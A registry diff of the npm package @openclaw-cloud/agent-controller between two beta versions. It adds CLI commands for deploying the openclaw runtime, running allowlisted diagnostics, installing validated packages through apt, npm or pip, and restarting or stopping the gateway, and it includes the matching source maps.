@openclaw-cloud/agent-controller 2.4.0-beta.3 → 2.4.0-beta.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/agent-controller.js +19 -1
- package/dist/commands/deploy-cli.d.ts +1 -0
- package/dist/commands/deploy-cli.js +60 -0
- package/dist/commands/deploy-cli.js.map +1 -0
- package/dist/commands/diagnostics-cli.d.ts +1 -0
- package/dist/commands/diagnostics-cli.js +38 -0
- package/dist/commands/diagnostics-cli.js.map +1 -0
- package/dist/commands/package-install-cli.d.ts +1 -0
- package/dist/commands/package-install-cli.js +89 -0
- package/dist/commands/package-install-cli.js.map +1 -0
- package/dist/commands/plugin-update-cli.js +5 -14
- package/dist/commands/plugin-update-cli.js.map +1 -1
- package/dist/commands/restart-cli.d.ts +1 -0
- package/dist/commands/restart-cli.js +26 -0
- package/dist/commands/restart-cli.js.map +1 -0
- package/dist/commands/stop-cli.d.ts +6 -0
- package/dist/commands/stop-cli.js +62 -0
- package/dist/commands/stop-cli.js.map +1 -0
- package/dist/handlers/diagnostics.js +2 -32
- package/dist/handlers/diagnostics.js.map +1 -1
- package/dist/handlers/package-install.js +10 -40
- package/dist/handlers/package-install.js.map +1 -1
- package/dist/handlers/plugin-update.d.ts +7 -3
- package/dist/handlers/plugin-update.js +8 -19
- package/dist/handlers/plugin-update.js.map +1 -1
- package/dist/lockfile.d.ts +6 -0
- package/dist/lockfile.js +17 -0
- package/dist/lockfile.js.map +1 -1
- package/dist/utils/diagnostics.d.ts +20 -0
- package/dist/utils/diagnostics.js +55 -0
- package/dist/utils/diagnostics.js.map +1 -0
- package/dist/utils/package-install.d.ts +14 -0
- package/dist/utils/package-install.js +60 -0
- package/dist/utils/package-install.js.map +1 -0
- package/package.json +1 -1
package/bin/agent-controller.js
CHANGED
|
@@ -49,13 +49,31 @@ if (command === '--version' || command === '-v') {
|
|
|
49
49
|
} else if (command === 'agent-update' || command === 'agent_update') {
|
|
50
50
|
const { runAgentUpdateCli } = await import('../dist/commands/agent-update-cli.js');
|
|
51
51
|
await runAgentUpdateCli(process.argv.slice(3));
|
|
52
|
+
} else if (command === 'update-skills' || command === 'update_skills') {
|
|
53
|
+
const { updateSkills } = await import('../dist/commands/update-skills.js');
|
|
54
|
+
await updateSkills();
|
|
55
|
+
} else if (command === 'restart') {
|
|
56
|
+
const { runRestartCli } = await import('../dist/commands/restart-cli.js');
|
|
57
|
+
await runRestartCli();
|
|
58
|
+
} else if (command === 'diagnostics') {
|
|
59
|
+
const { runDiagnosticsCli } = await import('../dist/commands/diagnostics-cli.js');
|
|
60
|
+
await runDiagnosticsCli(process.argv.slice(3));
|
|
61
|
+
} else if (command === 'deploy') {
|
|
62
|
+
const { runDeployCli } = await import('../dist/commands/deploy-cli.js');
|
|
63
|
+
await runDeployCli(process.argv.slice(3));
|
|
64
|
+
} else if (command === 'package-install' || command === 'package_install') {
|
|
65
|
+
const { runPackageInstallCli } = await import('../dist/commands/package-install-cli.js');
|
|
66
|
+
await runPackageInstallCli(process.argv.slice(3));
|
|
67
|
+
} else if (command === 'stop') {
|
|
68
|
+
const { runStopCli } = await import('../dist/commands/stop-cli.js');
|
|
69
|
+
await runStopCli();
|
|
52
70
|
} else if (command === undefined) {
|
|
53
71
|
const { main } = await import('../dist/index.js');
|
|
54
72
|
main();
|
|
55
73
|
} else {
|
|
56
74
|
console.error(`Unknown command: ${command}`);
|
|
57
75
|
console.error(
|
|
58
|
-
'Available: --version, self-update, backup, knowledge-sync, heartbeat, bootstrap, update-config, install-deps, install, uninstall, channel-server, plugin-update, agent-update',
|
|
76
|
+
'Available: --version, self-update, backup, knowledge-sync, heartbeat, bootstrap, update-config, install-deps, install, uninstall, channel-server, plugin-update, agent-update, update-skills, restart, diagnostics, deploy, package-install, stop',
|
|
59
77
|
);
|
|
60
78
|
process.exit(2);
|
|
61
79
|
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function runDeployCli(args: string[]): Promise<void>;
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
import { installOpenclaw } from '../utils/openclaw-ops.js';
|
|
2
|
+
import { restartGateway } from '../utils/gateway-restart.js';
|
|
3
|
+
import { logCollector } from '../connection.js';
|
|
4
|
+
import { toErrorMessage } from '../utils/response.js';
|
|
5
|
+
// ---------------------------------------------------------------------------
|
|
6
|
+
// CLI entrypoint for `agent-controller deploy [version]`. Installs the named
|
|
7
|
+
// openclaw runtime version (default: `latest`) and restarts the gateway.
|
|
8
|
+
//
|
|
9
|
+
// The WS handler at src/handlers/deploy.ts only restarts the gateway — it
|
|
10
|
+
// trusts the backend to have triggered the npm install through agent_update
|
|
11
|
+
// or self_update first. The CLI variant doesn't have that scaffolding, so it
|
|
12
|
+
// owns both the install and the restart.
|
|
13
|
+
// ---------------------------------------------------------------------------
|
|
14
|
+
const USAGE = 'Usage: agent-controller deploy [version]';
|
|
15
|
+
export async function runDeployCli(args) {
|
|
16
|
+
if (args.length > 1) {
|
|
17
|
+
console.error(USAGE);
|
|
18
|
+
process.exit(2);
|
|
19
|
+
}
|
|
20
|
+
const version = args[0]?.trim() || 'latest';
|
|
21
|
+
logCollector?.push('deploy_cli_start', 'info', 'deploy CLI invoked', { version });
|
|
22
|
+
let installed = false;
|
|
23
|
+
try {
|
|
24
|
+
console.log(`[deploy] installing openclaw@${version}...`);
|
|
25
|
+
installed = await installOpenclaw(version);
|
|
26
|
+
if (installed) {
|
|
27
|
+
console.log(`[deploy] openclaw@${version} installed`);
|
|
28
|
+
}
|
|
29
|
+
else {
|
|
30
|
+
console.log(`[deploy] openclaw@${version} already installed, nothing to do`);
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
catch (err) {
|
|
34
|
+
const msg = toErrorMessage(err);
|
|
35
|
+
console.error(`[deploy] failed: ${msg}`);
|
|
36
|
+
logCollector?.push('deploy_cli_failed', 'error', 'deploy CLI failed', {
|
|
37
|
+
version,
|
|
38
|
+
error: msg,
|
|
39
|
+
});
|
|
40
|
+
process.exit(1);
|
|
41
|
+
}
|
|
42
|
+
// Always restart the gateway — even when the runtime install was a no-op
|
|
43
|
+
// the operator typed `deploy` for a reason (likely to recover a wedged
|
|
44
|
+
// gateway). Mirrors the WS handler's restart-on-deploy semantics.
|
|
45
|
+
console.log('[deploy] restarting gateway...');
|
|
46
|
+
try {
|
|
47
|
+
await restartGateway();
|
|
48
|
+
console.log('[deploy] gateway restarted');
|
|
49
|
+
}
|
|
50
|
+
catch (err) {
|
|
51
|
+
const msg = toErrorMessage(err);
|
|
52
|
+
console.error(`[deploy] gateway restart failed (treating as warning): ${msg}`);
|
|
53
|
+
logCollector?.push('deploy_cli_restart_failed', 'warn', 'Gateway restart failed after deploy', {
|
|
54
|
+
version,
|
|
55
|
+
error: msg,
|
|
56
|
+
});
|
|
57
|
+
}
|
|
58
|
+
console.log('[deploy] done');
|
|
59
|
+
}
|
|
60
|
+
//# sourceMappingURL=deploy-cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"deploy-cli.js","sourceRoot":"","sources":["../../src/commands/deploy-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,eAAe,EAAE,MAAM,0BAA0B,CAAC;AAC3D,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,6EAA6E;AAC7E,yEAAyE;AACzE,EAAE;AACF,0EAA0E;AAC1E,4EAA4E;AAC5E,6EAA6E;AAC7E,yCAAyC;AACzC,8EAA8E;AAE9E,MAAM,KAAK,GAAG,0CAA0C,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,YAAY,CAAC,IAAc;IAC/C,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpB,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IACD,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,QAAQ,CAAC;IAE5C,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,oBAAoB,EAAE,EAAE,OAAO,EAAE,CAAC,CAAC;IAElF,IAAI,SAAS,GAAG,KAAK,CAAC;IACtB,IAAI,CAAC;QACH,OAAO,CAAC,GAAG,CAAC,gCAAgC,OAAO,KAAK,CAAC,CAAC;QAC1D,SAAS,GAAG,MAAM,eAAe,CAAC,OAAO,CAAC,CAAC;QAC3C,IAAI,SAAS,EAAE,CAAC;YACd,OAAO,CAAC,GAAG,CAAC,qBAAqB,OAAO,YAAY,CAAC,CAAC;QACxD,CAAC;aAAM,CAAC;YACN,OAAO,CAAC,GAAG,CAAC,qBAAqB,OAAO,mCAAmC,CAAC,CAAC;QAC/E,CAAC;IACH,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,oBAAoB,GAAG,EAAE,CAAC,CAAC;QACzC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,OAAO,EAAE,mBAAmB,EAAE;YACpE,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;QACH,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,yEAAyE;IACzE,uEAAuE;IACvE,kEAAkE;IAClE,OAAO,CAAC,GAAG,CAAC,gCAAgC,CAAC,CAAC;IAC9C,IAAI,CAAC;QACH,MAAM,cAAc,EAAE,CAAC;QACvB,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAC;IAC5C,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,0DAA0D,GAAG,EAAE,CAAC,CAAC;QAC/E,YAAY,EAAE,IAAI,CAAC,2BAA2B,EAAE,MAAM,EAAE,qCAAqC,EAAE;YAC7F,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;IACL,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,eAAe,CAAC,CAAC;AAC/B,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function runDiagnosticsCli(args: string[]): Promise<void>;
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
import { ALLOWED_CHECKS, isKnownCheck, runDiagnostics } from '../utils/diagnostics.js';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
3
|
+
import { toErrorMessage } from '../utils/response.js';
|
|
4
|
+
// ---------------------------------------------------------------------------
|
|
5
|
+
// CLI entrypoint for `agent-controller diagnostics [check]`. Mirrors the WS
|
|
6
|
+
// handler's allowlist (`src/utils/diagnostics.ts`). With no argument, runs
|
|
7
|
+
// every allowlisted check; with one argument, runs only that check.
|
|
8
|
+
// Output is structured JSON on stdout for easy consumption.
|
|
9
|
+
// ---------------------------------------------------------------------------
|
|
10
|
+
const USAGE = `Usage: agent-controller diagnostics [check]\n` +
|
|
11
|
+
`Available checks: ${Object.keys(ALLOWED_CHECKS).sort().join(', ')}`;
|
|
12
|
+
export async function runDiagnosticsCli(args) {
|
|
13
|
+
if (args.length > 1) {
|
|
14
|
+
console.error(USAGE);
|
|
15
|
+
process.exit(2);
|
|
16
|
+
}
|
|
17
|
+
const check = args[0]?.trim();
|
|
18
|
+
if (check && !isKnownCheck(check)) {
|
|
19
|
+
console.error(`Unknown diagnostic check: ${check}`);
|
|
20
|
+
console.error(USAGE);
|
|
21
|
+
process.exit(2);
|
|
22
|
+
}
|
|
23
|
+
logCollector?.push('diagnostics_cli_start', 'info', 'diagnostics CLI invoked', {
|
|
24
|
+
check: check ?? 'all',
|
|
25
|
+
});
|
|
26
|
+
try {
|
|
27
|
+
const checks = check ? [check] : undefined;
|
|
28
|
+
const results = await runDiagnostics(checks);
|
|
29
|
+
console.log(JSON.stringify({ results }, null, 2));
|
|
30
|
+
}
|
|
31
|
+
catch (err) {
|
|
32
|
+
const msg = toErrorMessage(err);
|
|
33
|
+
console.error(`[diagnostics] failed: ${msg}`);
|
|
34
|
+
logCollector?.push('diagnostics_cli_failed', 'error', 'diagnostics CLI failed', { error: msg });
|
|
35
|
+
process.exit(1);
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
//# sourceMappingURL=diagnostics-cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"diagnostics-cli.js","sourceRoot":"","sources":["../../src/commands/diagnostics-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACvF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,4EAA4E;AAC5E,2EAA2E;AAC3E,oEAAoE;AACpE,4DAA4D;AAC5D,8EAA8E;AAE9E,MAAM,KAAK,GACT,+CAA+C;IAC/C,qBAAqB,MAAM,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC,IAAI,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;AAEvE,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,IAAc;IACpD,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpB,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,MAAM,KAAK,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC;IAC9B,IAAI,KAAK,IAAI,CAAC,YAAY,CAAC,KAAK,CAAC,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,6BAA6B,KAAK,EAAE,CAAC,CAAC;QACpD,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,YAAY,EAAE,IAAI,CAAC,uBAAuB,EAAE,MAAM,EAAE,yBAAyB,EAAE;QAC7E,KAAK,EAAE,KAAK,IAAI,KAAK;KACtB,CAAC,CAAC;IAEH,IAAI,CAAC;QACH,MAAM,MAAM,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC;QAC3C,MAAM,OAAO,GAAG,MAAM,cAAc,CAAC,MAAM,CAAC,CAAC;QAC7C,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,OAAO,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IACpD,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,yBAAyB,GAAG,EAAE,CAAC,CAAC;QAC9C,YAAY,EAAE,IAAI,CAAC,wBAAwB,EAAE,OAAO,EAAE,wBAAwB,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QAChG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function runPackageInstallCli(args: string[]): Promise<void>;
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
import { installOnePackage, isSafePackageName, } from '../utils/package-install.js';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
3
|
+
// ---------------------------------------------------------------------------
|
|
4
|
+
// CLI entrypoint for `agent-controller package-install <name> [--manager M]`.
|
|
5
|
+
// Mirrors the WS handler's regex allowlist and per-package install flow,
|
|
6
|
+
// but takes a single package on the command line rather than a batch.
|
|
7
|
+
//
|
|
8
|
+
// Manager selection:
|
|
9
|
+
// --manager apt|npm|pip → explicit
|
|
10
|
+
// (none) → auto-detect by name shape:
|
|
11
|
+
// starts with '@' or contains '/' (and isn't a path) → npm
|
|
12
|
+
// everything else → apt on linux,
|
|
13
|
+
// npm elsewhere
|
|
14
|
+
// ---------------------------------------------------------------------------
|
|
15
|
+
const VALID_MANAGERS = ['apt', 'npm', 'pip'];
|
|
16
|
+
const USAGE = 'Usage: agent-controller package-install <name> [--manager apt|npm|pip]';
|
|
17
|
+
function parseArgs(args) {
|
|
18
|
+
let name;
|
|
19
|
+
let manager;
|
|
20
|
+
for (let i = 0; i < args.length; i++) {
|
|
21
|
+
const a = args[i];
|
|
22
|
+
if (a === '--manager') {
|
|
23
|
+
const next = args[i + 1]?.trim();
|
|
24
|
+
if (!next || !VALID_MANAGERS.includes(next))
|
|
25
|
+
return null;
|
|
26
|
+
manager = next;
|
|
27
|
+
i++;
|
|
28
|
+
continue;
|
|
29
|
+
}
|
|
30
|
+
if (a?.startsWith('--manager=')) {
|
|
31
|
+
const value = a.slice('--manager='.length).trim();
|
|
32
|
+
if (!value || !VALID_MANAGERS.includes(value))
|
|
33
|
+
return null;
|
|
34
|
+
manager = value;
|
|
35
|
+
continue;
|
|
36
|
+
}
|
|
37
|
+
if (name !== undefined)
|
|
38
|
+
return null; // multiple positional args
|
|
39
|
+
name = a?.trim();
|
|
40
|
+
}
|
|
41
|
+
if (!name)
|
|
42
|
+
return null;
|
|
43
|
+
return { name, manager };
|
|
44
|
+
}
|
|
45
|
+
function autoDetectManager(name) {
|
|
46
|
+
// npm scoped (`@scope/name`) or path-style scoped names → npm
|
|
47
|
+
if (name.startsWith('@') || name.includes('/')) {
|
|
48
|
+
return 'npm';
|
|
49
|
+
}
|
|
50
|
+
// Linux: assume system package by default; elsewhere fall back to npm so
|
|
51
|
+
// the CLI is still useful on macOS/Windows dev boxes.
|
|
52
|
+
return process.platform === 'linux' ? 'apt' : 'npm';
|
|
53
|
+
}
|
|
54
|
+
export async function runPackageInstallCli(args) {
|
|
55
|
+
const parsed = parseArgs(args);
|
|
56
|
+
if (!parsed) {
|
|
57
|
+
console.error(USAGE);
|
|
58
|
+
process.exit(2);
|
|
59
|
+
}
|
|
60
|
+
const { name } = parsed;
|
|
61
|
+
const manager = parsed.manager ?? autoDetectManager(name);
|
|
62
|
+
if (!isSafePackageName(name)) {
|
|
63
|
+
console.error(`[package-install] invalid package name: ${name}`);
|
|
64
|
+
logCollector?.push('package_install_cli_rejected', 'warn', 'Rejected unsafe package name', {
|
|
65
|
+
name,
|
|
66
|
+
manager,
|
|
67
|
+
});
|
|
68
|
+
process.exit(2);
|
|
69
|
+
}
|
|
70
|
+
logCollector?.push('package_install_cli_start', 'info', 'package-install CLI invoked', {
|
|
71
|
+
name,
|
|
72
|
+
manager,
|
|
73
|
+
});
|
|
74
|
+
console.log(`[package-install] installing ${name} via ${manager}...`);
|
|
75
|
+
const result = await installOnePackage(manager, name);
|
|
76
|
+
if (result.ok) {
|
|
77
|
+
console.log(`[package-install] ${name} installed`);
|
|
78
|
+
console.log('[package-install] done');
|
|
79
|
+
return;
|
|
80
|
+
}
|
|
81
|
+
console.error(`[package-install] failed: ${result.error}`);
|
|
82
|
+
logCollector?.push('package_install_cli_failed', 'error', 'package-install CLI failed', {
|
|
83
|
+
name,
|
|
84
|
+
manager,
|
|
85
|
+
error: result.error,
|
|
86
|
+
});
|
|
87
|
+
process.exit(1);
|
|
88
|
+
}
|
|
89
|
+
//# sourceMappingURL=package-install-cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"package-install-cli.js","sourceRoot":"","sources":["../../src/commands/package-install-cli.ts"],"names":[],"mappings":"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"}
|
|
@@ -1,13 +1,12 @@
|
|
|
1
1
|
import { installPlugin } from '../utils/openclaw-ops.js';
|
|
2
|
-
import { restartGateway } from '../utils/gateway-restart.js';
|
|
3
2
|
import { logCollector } from '../connection.js';
|
|
4
3
|
import { toErrorMessage } from '../utils/response.js';
|
|
5
4
|
// ---------------------------------------------------------------------------
|
|
6
5
|
// CLI entrypoint for `agent-controller plugin-update <id> <version>`
|
|
7
6
|
// (also accepts `<id>@<version>` shorthand). Mirrors the behaviour of the WS
|
|
8
|
-
// handler at src/handlers/plugin-update.ts: install
|
|
9
|
-
// the
|
|
10
|
-
//
|
|
7
|
+
// handler at src/handlers/plugin-update.ts: install only. Openclaw watches
|
|
8
|
+
// the plugin section of its config and self-restarts the gateway when the
|
|
9
|
+
// install lands; calling restartGateway() here would just race that.
|
|
11
10
|
// ---------------------------------------------------------------------------
|
|
12
11
|
const USAGE = 'Usage: agent-controller plugin-update <id> <version>\n' +
|
|
13
12
|
' agent-controller plugin-update <id>@<version>';
|
|
@@ -51,16 +50,8 @@ export async function runPluginUpdateCli(args) {
|
|
|
51
50
|
console.log('[plugin-update] done');
|
|
52
51
|
return;
|
|
53
52
|
}
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
await restartGateway();
|
|
57
|
-
console.log('[plugin-update] gateway restarted');
|
|
58
|
-
}
|
|
59
|
-
catch (err) {
|
|
60
|
-
const msg = toErrorMessage(err);
|
|
61
|
-
console.error(`[plugin-update] gateway restart failed (treating as warning): ${msg}`);
|
|
62
|
-
logCollector?.push('plugin_update_cli_restart_failed', 'warn', 'Gateway restart failed after CLI plugin install', { id, version, error: msg });
|
|
63
|
-
}
|
|
53
|
+
// No restartGateway() — openclaw self-reloads on plugin config changes.
|
|
54
|
+
console.log('[plugin-update] install complete; openclaw will reload its gateway');
|
|
64
55
|
console.log('[plugin-update] done');
|
|
65
56
|
}
|
|
66
57
|
catch (err) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"plugin-update-cli.js","sourceRoot":"","sources":["../../src/commands/plugin-update-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,aAAa,EAAE,MAAM,0BAA0B,CAAC;AACzD,OAAO,EAAE,
|
|
1
|
+
{"version":3,"file":"plugin-update-cli.js","sourceRoot":"","sources":["../../src/commands/plugin-update-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,aAAa,EAAE,MAAM,0BAA0B,CAAC;AACzD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,qEAAqE;AACrE,6EAA6E;AAC7E,2EAA2E;AAC3E,0EAA0E;AAC1E,qEAAqE;AACrE,8EAA8E;AAE9E,MAAM,KAAK,GACT,wDAAwD;IACxD,sDAAsD,CAAC;AAOzD,SAAS,SAAS,CAAC,IAAc;IAC/B,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,MAAM,EAAE,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC,WAAW,CAAC,GAAG,CAAC,CAAC;QACpC,0EAA0E;QAC1E,IAAI,EAAE,IAAI,CAAC;YAAE,OAAO,IAAI,CAAC;QACzB,MAAM,EAAE,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;QACvC,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;QAC7C,IAAI,CAAC,EAAE,IAAI,CAAC,OAAO;YAAE,OAAO,IAAI,CAAC;QACjC,OAAO,EAAE,EAAE,EAAE,OAAO,EAAE,CAAC;IACzB,CAAC;IACD,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,MAAM,EAAE,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;QACjC,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;QACtC,IAAI,CAAC,EAAE,IAAI,CAAC,OAAO;YAAE,OAAO,IAA